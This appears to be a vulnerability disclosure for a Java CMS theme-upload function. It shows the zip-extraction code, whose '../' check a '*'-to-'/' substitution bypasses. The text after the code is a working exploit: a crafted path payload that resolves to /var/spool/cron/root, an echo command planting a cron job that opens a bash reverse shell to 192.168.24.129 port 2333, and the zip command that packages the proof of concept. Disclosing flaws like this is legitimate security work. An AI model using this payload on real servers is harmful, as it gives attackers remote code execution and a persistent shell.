public String add(String themePath) throws IOException, CmsException {
		Theme theme;
		String rootPath = fileConfiguration.getResourceDir();
		System system = systemService.getSystem();
		String uploadDir = system.getUploaddir();
		
		String uploadpath = rootPath + "/" + uploadDir + "/" + themePath;
		File zipFile = new File(uploadpath);
		
		//解压zip
		String targetDir = rootPath + "templates/";
		theme = ZipUtils.unZipFiles(zipFile, targetDir);
		//省略其他代码
		}

	public static Theme unZipFiles(File zipFile, String descDir) throws IOException, AdminGeneralException {
		File pathFile = new File(descDir);
		if (!pathFile.exists()) {
			pathFile.mkdirs();
		}
		Theme theme = new Theme();
		// 解决zip文件中有中文目录或者中文文件
		ZipFile zip = new ZipFile(zipFile, Charset.forName("GBK"));
		for (Enumeration entries = zip.entries(); entries.hasMoreElements();) {
			ZipEntry entry = (ZipEntry) entries.nextElement();
			String entryName = entry.getName();
			System.out.println(entryName);
			
		    if(entryName.contains("../") || entryName.contains("..\\")) {
				throw new AdminGeneralException(
						ExceptionEnum.XSS_SQL_EXCEPTION.getCode(),
						ExceptionEnum.XSS_SQL_EXCEPTION.getMessage(),
						"压缩包中文件名疑似不安全，详情：" + entryName);
			}
			InputStream in = zip.getInputStream(entry);
			String outPath = (descDir + entryName).replaceAll("\\*", "/");
			// 判断路径是否存在,不存在则创建文件路径
			File file = new File(outPath.substring(0, outPath.lastIndexOf('/')));
			if(file.getParent().equals(pathFile.getAbsolutePath()) && file.isDirectory()) {
				theme.setThemePath(file.getAbsolutePath());
			}
			
			if (!file.exists()) {
				file.mkdirs();
			}
			// 判断文件全路径是否为文件夹,如果是上面已经上传,不需要解压
			if (new File(outPath).isDirectory()) {
				continue;
			}
			
			OutputStream out = new FileOutputStream(outPath);
			byte[] buf1 = new byte[1024];
			int len;
			while ((len = in.read(buf1)) > 0) {
				out.write(buf1, 0, len);
			}
			in.close();
			out.close();
		}
		zip.close();
		System.out.println("******************解压完毕******************");
		return theme;
	}
}

payload:.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root ====>.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/spool/cron/root, therefore, creating an RCE vulnerability

Create a file named xxxx*root and write the expression of the cron bounce shell
echo "*/1 * * * * bash -i >& /dev/tcp/192.168.24.129/2333 0>&1" > .\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root

Make a zip file
zip -r ./poc1.zip .\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root